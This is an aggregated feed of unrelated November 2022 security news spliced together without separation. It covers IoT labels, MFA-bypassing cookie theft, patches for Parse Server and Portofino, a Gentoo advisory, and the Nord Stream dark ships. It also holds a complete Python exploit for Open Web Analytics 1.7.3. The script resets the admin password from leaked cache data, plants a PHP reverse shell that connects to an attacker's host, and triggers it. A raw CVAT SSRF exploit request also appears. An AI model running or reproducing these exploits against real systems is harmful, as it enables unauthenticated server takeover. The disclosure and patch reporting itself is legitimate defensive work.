Pretty much every aspect of the effort to create easy-to-understand labels for Internet-of-Things (IoT) products is up in the air, according to participants in the process.

The effort to create informative labels to give buyers insight into the cybersecurity of connected devices continues to advance, but very slowly, according to technology firms and the US government.

Last week, Google published a blog post outlining the company's stance on what should be included in product labels for Internet of Things (IoT) devices. It described five principles that should guide the industry, including a minimum security baseline, adherence to international standards, and allowing the label to change as knowledge of the security landscape changes. The need for a statement focusing on basics highlights the slow paces at which the standards are being developed.

One reason that IoT cybersecurity labelling standards are in their "early stages" is because the Internet of Things includes a massive number of products and categories, says Dave Kleidermacher, vice president of engineering for Android Security & Privacy at Google.

"Simplification of IoT security remains a challenge that the industry continues to work on," he says. "This is largely due to the fact that IoT has a broad spectrum of product categories like light bulbs and smart displays, which have very different levels of required security."

Google's published statement comes two weeks after the White House called together technologists from government and private industry for a summit on the progress in IoT labeling, and more than a year after the US National Institute of Standards and Technology (NIST) held its "Workshop on Cybersecurity Labeling Programs for Consumers: Internet of Things (IoT) Devices and Software," an effort to create IoT product labels that communicate the security state of applications and connected devices.

Both meetings were striving to deliver on the Biden administration's May 2021 "Executive Order on Improving the Nation's Cybersecurity," which mandates developing standards. The goal of the latest meeting was to continue progress toward a nutrition label or an Energy Star-like system that speaks to the security of any connected device, the Biden administration said in a statement.

"\[The\] dialogue focused on how to best implement a national cybersecurity labeling program, drive improved security standards for Internet-enabled devices, and generate a globally recognized label," the White House said in an Oct. 20 statement. "Government and industry leaders discussed the importance of a trusted program to increase security across consumer devices that connect to the Internet by equipping devices with easily recognized labels to help consumers make more informed cybersecurity choices."

**No to Printed Labels, Yes to International Standards**

Progress is slow, Google stated in its blog post. Almost all of the details of IoT product labeling are up in the air, including "the definition of labeling, what labeling needs to convey in terms of security and privacy, where the label should reside, and how to achieve consumer acceptance."

Printed labels should be avoided, because security is ever-changing, and any label would only document a point in the past, Kleidermacher says.

"Labels need to be digital," he says. "Because the security posture of a device can change in a matter of days, providing a printed label could inadvertently hurt the user by providing potentially stale information or lead a consumer to buy a device which is no longer safe."

Google pointed to security label specifications being created by the IoT-focused Connectivity Standards Alliance (CSA) and the GSM Association, a mobile device industry group, as potential starting places.

"Being able to offer helpful, useful information to allow consumers to enable better purchase decisions is the core of the consensus building around IoT security labeling," Kleidermacher says. "The rest is still very much up for debate, including how the label should look — that is, binary or multi-level — where it should reside, and what the label should include."

**Binary Labels Get NIST's Nod**

One area of disagreement is whether labels should be binary — yes, a product meets standards, or no, it does not — or allow for a spectrum of cybersecurity ratings. In its final draft of its "Recommended Criteria for Cybersecurity Labeling for Consumer IoT Products," NIST recommended in September a binary label for the baseline standard. In a statement published in October, the Biden administration committed to quickly develop the standards for labeling of "the most common, and often most at-risk, technologies — routers and home cameras."

Google's Kleidermacher noted that the binary approach deviates from multitiered labeling schemes adopted in other countries, such as Singapore. The company hopes that the United States and other countries can work through industry alliances to create a standard global approach for attesting to cybersecurity.

"Because these organizations bridge industry and policy makers, we hope that this could help drive speedy adoption through collaboration, coordination, and the sharing of ideas," he says. "Many countries have already started mandating minimum security baselines through regulation efforts, so it is imperative that the United States participate in international discussions to create coherent, interoperable standards."

Cybersecurity 'Nutrition' Labels Still a Work in Progress

Multifactor authentication has gained adoption among organizations as a way of improving security over passwords alone, but increasing theft of browser cookies undermines that security.

When the malware group Lapsus$ needed to gain access to systems compromised in recent breaches, it not only searched for passwords but also for the session tokens — that is, cookies — used to authenticate a device or browser as legitimate.

Their tactics for initial access highlights a trend among attackers, who will buy passwords and cookies on the criminals underground use them to access cloud services and on-premises applications. In addition, when they do get access to a system, attackers prioritize stealing cookies for later use or for sale. Session cookies have become the way for attackers to bypass multifactor authentication (MFA) mechanism that otherwise protect systems and cloud services from attackers, says Andy Thompson, global research evangelist at CyberArk Labs.

In a presentation at Black Hat Middle East and Africa next week, CyberArk researchers will demonstrate how attackers can steal session cookies and then use them to gain access to business and cloud services.

"The crazy part is that this applies to all types of multifactor, because stealing these cookies bypasses both authentication and authorization," Thompson says. "Once you have authenticated using multifactor, that cookie is established on the endpoint, and the attacker can then use it for later access."

Stealing session cookies has become one of the most common ways that attackers circumvent multifactor authentication. The Emotet malware, the Raccoon Stealer malware-as-a-service, and the RedLine Stealer keylogger all have functionality for stealing sessions tokens from the browsers installed on a victim's system

In August, security software firm Sophos noted that the popular red-teaming and attack tools Mimikatz, Metasploit Meterpreter, and Cobalt Strike all could be used to harvest cookies from the browsers' caches as well, which the firm called "the new perimeter bypass."

"Cookies associated with authentication to Web services can be used by attackers in 'pass the cookie' attacks, attempting to masquerade as the legitimate user to whom the cookie was originally issued and gain access to Web services without a login challenge," Sean Gallagher, a threat researcher with Sophos, stated in the August blog post. "This is similar to 'pass the hash' attacks, which use locally stored authentication hashes to gain access to network resources without having to crack the passwords."

**An Easy Attack for Sustaining Access**

Stealing cookies is a pretty basic attack, but one that has grown in importance as more companies adopt adaptive authentication strategies, which use a cookie to allow a users on a specific browser and device to access a protected service, without having to reenter a multifactor authentication code.

For attackers, there is very little needed to make the attack successful. As long as they have some sort of access to a machine, they can grab the cookies, says CyberArk's Thompson.

"Most attacks require some sort of elevation of privilege to install software," he says. "With this, we have everything we need, regardless of the level of privilege. Even as a non-admin, we are still vulnerable to cookie harvesting."

**Attackers Take on MFA by Necessity**

While stealing session cookies are a common way that attackers bypass multifactor authentication, there are a host of others as well. Keylogging can circumvent MFA by grabbing the one-time password used by many companies, while an adversary-in-the-middle attack can capture security information being sent both to and from a targeted service.

Attackers can also attempt to access an account repeatedly, with the backend system sending an authentication request to the actual user. Known as MFA bombing, the technique's goal is to overwhelm the user with requests and, from fatigue or from too little skepticism, have them click to allow the access. Attackers used stolen cookies and MFA bombing to compromise ride-share giant Uber and entertainment firm Take-Two Interactive.

Overall, the way to prevent attackers from bypassing MFA is to have additional security software on systems to detect the theft of cookies, says CyberArk's Thompson. So rather than just push users to adopt password managers and MFA and call that sufficient, companies need to adopt some sort of endpoint control as well, he says.

"We also need some ability to have a sort of least privilege or application control, antivirus, or EDR/XDR — any of those are really critical in solving the gap," Thompson says. "We want to prevent malicious tools and actors from harvesting passwords or harvesting cookie information from memory."

Cookies for MFA Bypass Gain Traction Among Cyberattackers

Bug emerges from ambition to find ‘end-to-end exploits beyond DoS’

Adam Bannister 11 November 2022 at 15:37 UTC

Bug emerges from ambition to find ‘end-to-end exploits beyond DoS’

A prototype pollution vulnerability that could lead to remote code execution (RCE) in Parse Server has been patched.

An attacker could potentially trigger RCE through the MongoDB BSON \[Binary JSON\] parser by leveraging the flaw (CVE-2022-39396), according to a GitHub security advisory published on November 8.

Parse Server is a popular, open source API server module for Node.js that provides push notification functionality for iOS, macOS, Android, and tvOS.

BACKGROUND Prototype pollution: A dangerous and underrated vulnerability impacting JavaScript applications

Although the security researchers involved are withholding technical details to give developers time to apply patches, so the detail remains unclear, we know the bug is comparable to another prototype pollution-to-RCE issue they disclosed earlier in the year. That vulnerability – which surfaced in March 2022 – was given the highest possible severity rating of CVSS 10.

**Patch now**

“I can confirm that both vulnerabilities have the highest impact because they affect the default configuration of Parse Server and allow an attacker to control the system remotely without any authentication,” Mikhail Shcherbakov, a researcher from the KTH Royal Institute of Technology in Stockholm, told The Daily Swig. “So my advice is to patch Parse Server ASAP, if you have it.”

The flaw has been patched in the NPM parse-server package in versions 4.10.18 and 5.3.1.

The patches prevent prototype pollution in the MongoDB database adapter. If updates cannot be applied immediately, then users can protect themselves in the meantime by disabling RCE through the MongoDB BSON parser.

**‘Complex task’**

The flaw was discovered during a research project undertaken by Shcherbakov, KTH colleague Musard Balliu, and Cristian-Alexandru Staicu from the Helmholtz Center for Information Security (CISPA) in Saarbrücken, Germany.

The trio investigated how prototype pollution vulnerabilities in Node.js systems might lead to RCE attacks.

“The detection of prototype pollution is a complex task,” said Shcherbakov. “However, the exploitation that demonstrates a high impact of vulnerabilities is more complicated in practice but still possible.”

The researchers have presented their findings, which also feature Node.js targets NPM CLI and Rocket.Chat, in a white paper (PDF). They are due to present their research at the USENIX Security ’23 conference.

**Universal gadgets**

Prototype pollution, which affects Node.js and prototype-based languages like JavaScript, involves injecting “properties into an object’s root prototype at runtime \[to\] subsequently trigger the execution of legitimate code gadgets that access these properties on the object’s prototype,” explains the presentation precis.

The researchers set out to find “end-to-end exploits beyond DoS in full-fledged Node.js applications”, and “the first multi-staged framework that uses multi-label static taint analysis to identify prototype pollution in Node.js libraries and applications, as well as a hybrid approach to detect universal gadgets”.

Technical details for the Parse Server RCE will eventually be disclosed via the Trend Micro Zero Day Initiative (ZDI) blog.

Other significant security bugs addressed in Parse Server this year include an issue that enabled brute-force guessing of sensitive user data, and a high severity authentication bypass impacting Apple Game Center.

RELATED Prototype pollution bug exposed Ember.js applications to XSS

Prototype pollution project yields another Parse Server RCE

A vulnerability has been found in ManyDesigns Portofino 5.3.2 and classified as problematic. Affected by this vulnerability is the function createTempDir of the file WarFileLauncher.java. The manipulation leads to creation of temporary file in directory with insecure permissions. Upgrading to version 5.3.3 is able to address this issue. The name of the patch is 94653cb357806c9cf24d8d294e6afea33f8f0775. It is recommended to upgrade the affected component. The identifier VDB-213457 was assigned to this vulnerability.

**Security Vulnerability Fix**

This pull request fixes either 1.) Temporary Directory Hijacking Vulnerability, or 2.) Temporary Directory Information Disclosure Vulnerability, which existed in this project.

**Preamble**

The system temporary directory is shared between all users on most unix-like systems (not MacOS, or Windows). Thus, code interacting with the system temporary directory must be careful about file interactions in this directory, and must ensure that the correct file permissions are set.

This PR was generated because the following chain of calls was detected in this repository in a way that leaves this project vulnerable.  
File.createTempFile(..) -> file.delete() -> either file.mkdir() or file.mkdirs().

**Impact**

This vulnerability can have one of two impacts depending upon which vulnerability it is.

1.  Temporary Directory Information Disclosure - Information in this directory is visable to other local users, allowing a malicious actor co-resident on the same machine to view potentially sensitive files.
2.  Temporary Directory Hijacking Vulnerability - Same impact as 1. above, but also, ther local users can manipulate/add contents to this directory. If code is being executed out of this temporary directory, it can lead to local priviledge escalation.

**Temporary Directory Hijacking**

This vulnerability exists because the return value from file.mkdir() or file.mkdirs() is not checked to determine if the call succeeded. Say, for example, because another local user created the directory before this process.

File tmpDir = File.createTempFile("temp", ".dir"); // Attacker knows the full path of the directory that will be later created
// delete the file that was created
tmpDir.delete(); // Attacker sees file is deleted and begins a race to create their own directory before the java code.
// and makes a directory of the same name
// SECURITY VULNERABILITY: Race Condition! - Attacker beats java code and now owns this directory
tmpDir.mkdirs(); // This method returns 'false' because it was unable to create the directory. No exception is thrown.
// Attacker can write any new files to this directory that they wish.
// Attacker can read any files created within this directory.

**Other Examples**

*   CVE-2021-20202 - Keycloak/Keycloak
*   CVE-2020-27216 - eclipse/jetty.project

**Temporary Directory Information Disclosure**

This vulnerability exists because, although the return values of file.mkdir() or file.mkdirs() are correctly checked, the permissions of the directory that is created follows the default system uname settings. Thus, the directory is created with everyone-readable permissions. As such, any files/directories written into this directory are viewable by all other local users on the system.

File tmpDir = File.createTempFile("temp", ".dir");
tmpDir.delete();
if (!tmpDir.mkdirs()) { // Guard correctly prevents temporary directory hijacking, but directory contents are everyone-readable.
    throw new IOException("Failed to create temporary directory");
}

**Other Examples**

*   CVE-2020-15250 - junit-team/junit
*   CVE-2021-21364 - swagger-api/swagger-codegen
*   CVE-2022-24823 - netty/netty
*   CVE-2022-24823 - netty/netty

**The Fix**

The fix has been to convert the logic above to use the following API that was introduced in Java 1.7.

File tmpDir = Files.createTempDirectory("temp dir").toFile();

The API both created the directory securely, ie with a random, non-conflicting name, with directory permissions that only allow the currently executing user to read or write the contents of this directory.

**➡️ Vulnerability Disclosure ⬅️**

👋 Vulnerability disclosure is a super important part of the vulnerability handling process and should not be skipped! This may be completely new to you, and that's okay, I'm here to assist!

First question, do we need to perform vulnerability disclosure? It depends!

1.  Is the vulnerable code only in tests or example code? No disclosure required!
2.  Is the vulnerable code in code shipped to your end users? Vulnerability disclosure is probably required!

**Vulnerability Disclosure How-To**

You have a few options options to perform vulnerability disclosure. However, I'd like to suggest the following 2 options:

1.  Request a CVE number from GitHub by creating a repository-level GitHub Security Advisory. This has the advantage that, if you provide sufficient information, GitHub will automatically generate Dependabot alerts for your downstream consumers, resolving this vulnerability more quickly.
2.  Reach out to the team at Snyk to assist with CVE issuance. They can be reached at the Snyk's Disclosure Email.

**Detecting this and Future Vulnerabilities**

This vulnerability was automatically detected by GitHub's LGTM.com using this CodeQL Query.

You can automatically detect future vulnerabilities like this by enabling the free (for open-source) GitHub Action.

I'm not an employee of GitHub, I'm simply an open-source security researcher.

**Source**

This contribution was automatically generated with an OpenRewrite refactoring recipe, which was lovingly hand crafted to bring this security fix to your repository.

The source code that generated this PR can be found here:  
UseFilesCreateTempDirectory

**Opting-Out**

If you'd like to opt-out of future automated security vulnerability fixes like this, please consider adding a file called  
.github/GH-ROBOTS.txt to your repository with the line:

    User-agent: JLLeitschuh/security-research
    Disallow: *
    

This bot will respect the ROBOTS.txt format for future contributions.

Alternatively, if this project is no longer actively maintained, consider archiving the repository.

**CLA Requirements**

_This section is only relevant if your project requires contributors to sign a Contributor License Agreement (CLA) for external contributions._

It is unlikely that I'll be able to directly sign CLAs. However, all contributed commits are already automatically signed-off.

> The meaning of a signoff depends on the project, but it typically certifies that committer has the rights to submit this work under the same license and agrees to a Developer Certificate of Origin  
> (see https://developercertificate.org/ for more information).
> 
> \- Git Commit Signoff documentation

If signing your organization's CLA is a strict-requirement for merging this contribution, please feel free to close this PR.

**Sponsorship & Support**

This contribution is sponsored by HUMAN Security Inc. and the new Dan Kaminsky Fellowship, a fellowship created to celebrate Dan's memory and legacy by funding open-source work that makes the world a better (and more secure) place.

This PR was generated by Moderne, a free-for-open source SaaS offering that uses format-preserving AST transformations to fix bugs, standardize code style, apply best practices, migrate library versions, and fix common security vulnerabilities at scale.

**Tracking**

All PR's generated as part of this fix are tracked here: JLLeitschuh/security-research#10

CVE-2022-3952: [SECURITY] Fix Temporary Directory Hijacking or Information Disclosure Vulnerability
 by JLLeitschuh · Pull Request #580 · ManyDesigns/Portofino

Gentoo Linux Security Advisory 202211-2 - A vulnerability has been found in lesspipe which could result in arbitrary code execution. Versions less than 2.06 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202211-02  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: lesspipe: Arbitrary Code Exeecution  
     Date: November 10, 2022  
     Bugs: #865631  
       ID: 202211-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A vulnerability has been found in lesspipe which could result in  
arbitrary code execution.

Background  
==========

lesspipe is a preprocessor for less.

Affected packages  
=================

    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  app-text/lesspipe          < 2.06                        >= 2.06

Description  
===========

lesspipe has support for parsing Perl storable ("PST") files,

Impact  
======

A crafted Perl storable file which is passed into lesspipe could result  
in arbitrary code execution.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All lesspipe users should update to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-text/lesspipe-2.06"

References  
==========

[ 1 ] CVE-2022-44542  
      https://nvd.nist.gov/vuln/detail/CVE-2022-44542

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202211-02

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2022 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202211-02

CVAT version 2.0 suffers from a server-side request forgery vulnerability.

    #Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)#Exploit Author: Emir Polat#Vendor Homepage: https://github.com/opencv/cvat#Version: < 2.0.0#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)#CVE: CVE-2022-31188# Description:#CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability. #Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade.POST /api/v1/tasks/2/data HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0Accept: application/json, text/plain, */*Accept-Language:en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Token 06d88f739a10c7533991d8010761df721b790b7X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGVContent-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436Content-Length: 569Origin: http://localhost:8080Connection: closeReferer:http://localhost:8080/tasks/createCookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dnedSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="remote files[0]"http://localhost:8081-----------------------------251652214142138553464236533436Content-Disposition: form-data; name=" image quality"170-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="use zip chunks"true-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="use cache"true-----------------------------251652214142138553464236533436--

CVAT 2.0 Server-Side Request Forgery

Open Web Analytics version 1.7.3 remote code execution exploit.

    # Exploit Title: Open Web Analytics 1.7.3 - Remote Code Execution (RCE)# Date: 2022-08-30# Exploit Author: Jacob Ebben# Vendor Homepage: https://www.openwebanalytics.com/# Software Link: https://github.com/Open-Web-Analytics# Version: <1.7.4# Tested on: Linux # CVE : CVE-2022-24637import argparseimport requestsimport base64import reimport randomimport stringimport hashlibfrom termcolor import coloreddef print_message(message, type):   if type == 'SUCCESS':      print('[' + colored('SUCCESS', 'green') +  '] ' + message)   elif type == 'INFO':      print('[' + colored('INFO', 'blue') +  '] ' + message)   elif type == 'WARNING':      print('[' + colored('WARNING', 'yellow') +  '] ' + message)   elif type == 'ALERT':      print('[' + colored('ALERT', 'yellow') +  '] ' + message)   elif type == 'ERROR':      print('[' + colored('ERROR', 'red') +  '] ' + message)def get_normalized_url(url):   if url[-1] != '/':      url += '/'   if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':      url = "http://" + url   return urldef get_proxy_protocol(url):   if url[0:8].lower() == 'https://':      return 'https'   return 'http'def get_random_string(length):   chars = string.ascii_letters + string.digits   return ''.join(random.choice(chars) for i in range(length))def get_cache_content(cache_raw):   regex_cache_base64 = r'\*(\w*)\*'   regex_result = re.search(regex_cache_base64, cache_raw)   if not regex_result:      print_message('The provided URL does not appear to be vulnerable ...', "ERROR")      exit()   else:      cache_base64 = regex_result.group(1)   return base64.b64decode(cache_base64).decode("ascii")def get_cache_username(cache):   regex_cache_username = r'"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"'   return re.search(regex_cache_username, cache).group(1)def get_cache_temppass(cache):   regex_cache_temppass = r'"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"'   return re.search(regex_cache_temppass, cache).group(1)def get_update_nonce(url):   try:      update_nonce_request = session.get(url, proxies=proxies)      regex_update_nonce = r'owa_nonce" value="(\w*)"'      update_nonce = re.search(regex_update_nonce, update_nonce_request.text).group(1)   except Exception as e:      print_message('An error occurred when attempting to update config!', "ERROR")      print(e)      exit()   else:      return update_nonceparser = argparse.ArgumentParser(description='Exploit for CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA)')parser.add_argument('TARGET', type=str,                   help='Target URL (Example: http://localhost/owa/ or https://victim.xyz:8000/)')parser.add_argument('ATTACKER_IP', type=str,                   help='Address for reverse shell listener on attacking machine')parser.add_argument('ATTACKER_PORT', type=str,                   help='Port for reverse shell listener on attacking machine')parser.add_argument('-u', '--username', default="admin", type=str,                  help='The username to exploit (Default: admin)')parser.add_argument('-p','--password', default=get_random_string(32), type=str,                  help='The new password for the exploited user')parser.add_argument('-P','--proxy', type=str,                  help='HTTP proxy address (Example: http://127.0.0.1:8080/)')parser.add_argument('-c', '--check', action='store_true',                  help='Check vulnerability without exploitation')args = parser.parse_args()base_url = get_normalized_url(args.TARGET)login_url = base_url + "index.php?owa_do=base.loginForm"password_reset_url = base_url + "index.php?owa_do=base.usersPasswordEntry"update_config_url = base_url + "index.php?owa_do=base.optionsGeneral"username = args.usernamenew_password = args.passwordreverse_shell = '<?php $sock=fsockopen("' + args.ATTACKER_IP + '",'+ args.ATTACKER_PORT + ');$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'shell_filename = get_random_string(8) + '.php'shell_url = base_url + 'owa-data/caches/' + shell_filenameif args.proxy:   proxy_url = get_normalized_url(args.proxy)   proxy_protocol = get_proxy_protocol(proxy_url)   proxies = { proxy_protocol: proxy_url }else:   proxies = {}session = requests.Session()try:   mainpage_request = session.get(base_url, proxies=proxies)except Exception as e:   print_message('Could not connect to "' + base_url, "ERROR")   exit()else:   print_message('Connected to "' + base_url + '" successfully!', "SUCCESS")if 'Open Web Analytics' not in mainpage_request.text:   print_message('Could not confirm whether this website is hosting OWA! Continuing exploitation...', "WARNING")elif 'version=1.7.3' not in mainpage_request.text:   print_message('Could not confirm whether this OWA instance is vulnerable! Continuing exploitation...', "WARNING")else:   print_message('The webserver indicates a vulnerable version!', "ALERT")try:   data = {      "owa_user_id": username,       "owa_password": username,       "owa_action": "base.login"   }   session.post(login_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred during the login attempt!', "ERROR")   print(e)   exit()else:   print_message('Attempting to generate cache for "' + username + '" user', "INFO")print_message('Attempting to find cache of "' + username + '" user', "INFO")found = Falsefor key in range(100):   user_id = 'user_id' + str(key)   userid_hash = hashlib.md5(user_id.encode()).hexdigest()    filename = userid_hash + '.php'   cache_url = base_url + "owa-data/caches/" + str(key) + "/owa_user/" + filename   cache_request = requests.get(cache_url, proxies=proxies)   if cache_request.status_code != 200:      continue;   cache_raw = cache_request.text   cache = get_cache_content(cache_raw)   cache_username = get_cache_username(cache)   if cache_username != username:      print_message('The temporary password for a different user was found. "' + cache_username + '": ' + get_cache_temppass(cache), "INFO")      continue;   else:      found = True      breakif not found:   print_message('No cache found. Are you sure "' + username + '" is a valid user?', "ERROR")   exit()cache_temppass = get_cache_temppass(cache)print_message('Found temporary password for user "' + username + '": ' + cache_temppass, "INFO")if args.check:   print_message('The system appears to be vulnerable!', "ALERT")   exit()try:   data = {      "owa_password": new_password,       "owa_password2": new_password,       "owa_k": cache_temppass,       "owa_action":       "base.usersChangePassword"   }   session.post(password_reset_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred when changing the user password!', "ERROR")   print(e)   exit()else:   print_message('Changed the password of "' + username + '" to "' + new_password + '"', "INFO")try:   data = {      "owa_user_id": username,       "owa_password": new_password,       "owa_action": "base.login"   }   session.post(login_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred during the login attempt!', "ERROR")   print(e)   exit()else:   print_message('Logged in as "' + username + '" user', "SUCCESS")nonce = get_update_nonce(update_config_url)try:   log_location = "/var/www/html/owa/owa-data/caches/" + shell_filename   data = {      "owa_nonce": nonce,       "owa_action": "base.optionsUpdate",       "owa_config[base.error_log_file]": log_location,       "owa_config[base.error_log_level]": 2   }   session.post(update_config_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred when attempting to update config!', "ERROR")   print(e)   exit()else:   print_message('Creating log file', "INFO")nonce = get_update_nonce(update_config_url)try:   data = {      "owa_nonce": nonce,       "owa_action": "base.optionsUpdate",       "owa_config[shell]": reverse_shell    }   session.post(update_config_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred when attempting to update config!', "ERROR")   print(e)   exit()else:   print_message('Wrote payload to log file', "INFO")try:   session.get(shell_url, proxies=proxies)except Exception as e:   print(e)else:   print_message('Triggering payload! Check your listener!', "SUCCESS")   print_message('You can trigger the payload again at "' + shell_url + '"' , "INFO")

Open Web Analytics 1.7.3 Remote Code Execution

Satellite monitors discovered two vessels with their trackers turned off in the area of the pipeline prior to the suspected sabotage in September.

The first gas leaks on the Nord Stream 2 pipeline in the Baltic Sea were detected in the early hours of September 26, pouring up to 400,000 tons of methane into the atmosphere. Officials immediately suspected sabotage of the international pipeline. New analysis seen by WIRED shows that two large ships, with their trackers off, appeared around the leak sites in the days immediately before they were detected.

According to the analysis by satellite data monitoring firm SpaceKnow, the two “dark ships,” each measuring around 95 to 130 meters long, passed within several miles of the Nord Stream 2 leak sites. “We have detected some dark ships, meaning vessels that were of a significant size, that were passing through that area of interest,” says Jerry Javornicky, the CEO and cofounder of SpaceKnow. “They had their beacons off, meaning there was no information about their movement, and they were trying to keep their location information and general information hidden from the world,” Javornicky adds.

The discovery, which was made by analyzing images from multiple satellites, is likely to further increase speculation about the cause of the blasts. Multiple countries investigating the incident believe the Nord Stream 1 and 2 pipelines were rocked by a series of explosions, with many suspicions directed at Russia as its full-scale invasion of Ukraine continues. (Russia has denied its involvement.) Once SpaceKnow identified the ships, it reported its findings to officials at NATO, who are investigating the Nord Stream incidents. Javornicky says NATO officials asked the company to provide more information. 

NATO spokesperson Oana Lungescu says it does not comment on the “details of our support or the sources used” but confirmed that NATO believes the incident was a “deliberate and irresponsible act of sabotage” and it has increased its presence in the Baltic and North Seas. However, a NATO official, who did not have permission to speak publicly, confirmed to WIRED that NATO had received SpaceKnow’s data and said satellite imagery can prove useful for its investigations.

To detect the ships, Javornicky says, the company scoured 90 days of archived satellite images for the area. The company analyzes images from multiple satellite systems—including paid and free services—and uses machine learning to detect objects within them. This includes the ability to monitor roads, buildings, and changes in landscapes. "We have 38 specific algorithms that can detect military equipment," Javornicky says, adding that SpaceKnow’s system can detect specific models of aircraft on landing strips.

Once it gathered archive images of the area, SpaceKnow created a series of polygons around the gas leak sites. The smallest of these, around 400 square meters, covered the immediate blast area, and larger areas of interest covered several kilometers. In the weeks leading up to the explosions, SpaceKnow detected 25 ships passing through the region, from “cargo ships to multipurpose larger ships,” Javornicky says. In total, 23 of these vessels had their automatic identification system (AIS) transponders turned on. Two did not have AIS data turned on, and these ships passed the area during the days immediately ahead of the leaks being detected.

By international law, large ships are required to install and use AIS. This vessel tracking system was created to help ships navigate and avoid potential collisions with other vessels. When turned on, AIS will broadcast a ship’s name, location, the direction of travel, speed, and other information.

It is relatively rare for ships to turn off their AIS transponders. Ships that “go dark” are often suspected of being involved in illegal fishing or modern slavery, with officials in Europe previously investigating ships that are believed to have turned off their AIS transponders. “It would not be common practice \[to have AIS turned off\], unless the vessels have a classified military mission or they would have some clandestine objectives, because the Baltic Sea is one of the busiest seas in the world in terms of commercial traffic,” says Otto Tabuns, the director of the Baltic Security Foundation, an NGO that focuses on the region.

Tabuns says the Baltic Sea has multiple main “arteries” where ships travel and it is “responsible” for ships in the area to have their AIS trackers turned on. Collisions at sea can be deadly and environmentally ruinous. “There are many places in the \[Baltic\] sea that are not navigable for bigger ships,” Tabuns says. “There are also some areas that are not recommended or where it is prohibited to ship because of the heritage of World War Two.” Decades-old wartime submarines and munitions litter the Baltic Sea’s floor.

SpaceKnow detected the ships that had AIS turned off using synthetic aperture radar (SAR) images from satellites. Most satellites observing Earth take photos of what’s beneath them; others, however, also use SAR to bounce radio waves off the ground and create images from them. Andrey Kurekin, a coastal ocean color scientist at the Plymouth Marine Laboratory who has analyzed satellite images for detecting objects at sea, says SAR technology can be useful for detecting ships, as it shows reflections from metal objects. “They are shown as bright objects in SAR images,” Kurekin says.

Kurekin says SAR images can be used to identify the longitude and latitude coordinates of a ship, the direction it is heading, and potentially to estimate its speed. “The main advantage of SAR over optical sensors is that the microwaves penetrate through clouds,” Kurekin says. The images are less impacted by the weather and can also provide visibility at night. “It's quite difficult to hide a ship from a SAR sensor,” Kurekin adds.

SAR images of the dark ships shared with WIRED show the vessels as glowing objects, not far from the explosion site around Nord Stream 2. “We assume it was one of those two dark ships that we have detected, but we're not making any decision,” Javornicky says. He says the company is not in the business of determining what may have happened or who is responsible but instead provided the data to authorities.

Kurekin cautions that AIS tracking systems onboard ships can, at times, fail. The signal from AIS could stop communicating with satellites or receivers on land, Kurekin says, adding that the signal can be impacted by the weather too. “If there is a vessel that you can see in SAR image but it's not reported by the AIS system, it does not necessarily mean that there's something wrong with this vessel,” Kurekin says. Signals from AIS transponders can also be manipulated—warships have had their AIS data spoofed, and ships around Russia and the Black Sea have vanished from trackers in recent years.

While there are multiple ongoing investigations into the explosions, determining the full picture of what happened may take some time. Police in Copenhagen said its initial investigations have determined that “powerful explosions” caused “extensive damage” to the pipes. Images taken from around the exploded sections of the pipe appear to show that at least 50 meters of the pipeline were destroyed in the explosions.

In an email, the Swedish security service, Säkerhetspolisen, said that due to “secrecy” around its operations, it could not discuss its investigation or whether it was looking at satellite data. However, agency spokesperson Gabriel Wernstedt says the organization is conducting a “criminal investigation of gross sabotage” around both the Nord Stream 1 and 2 pipes. “Certain seizures were made during the onsite investigations that are being analyzed,” Wernstedt says. In public statements, Säkerhetspolisen has confirmed denotations happened at the pipes and that the Swedish armed forces are involved in the investigations.

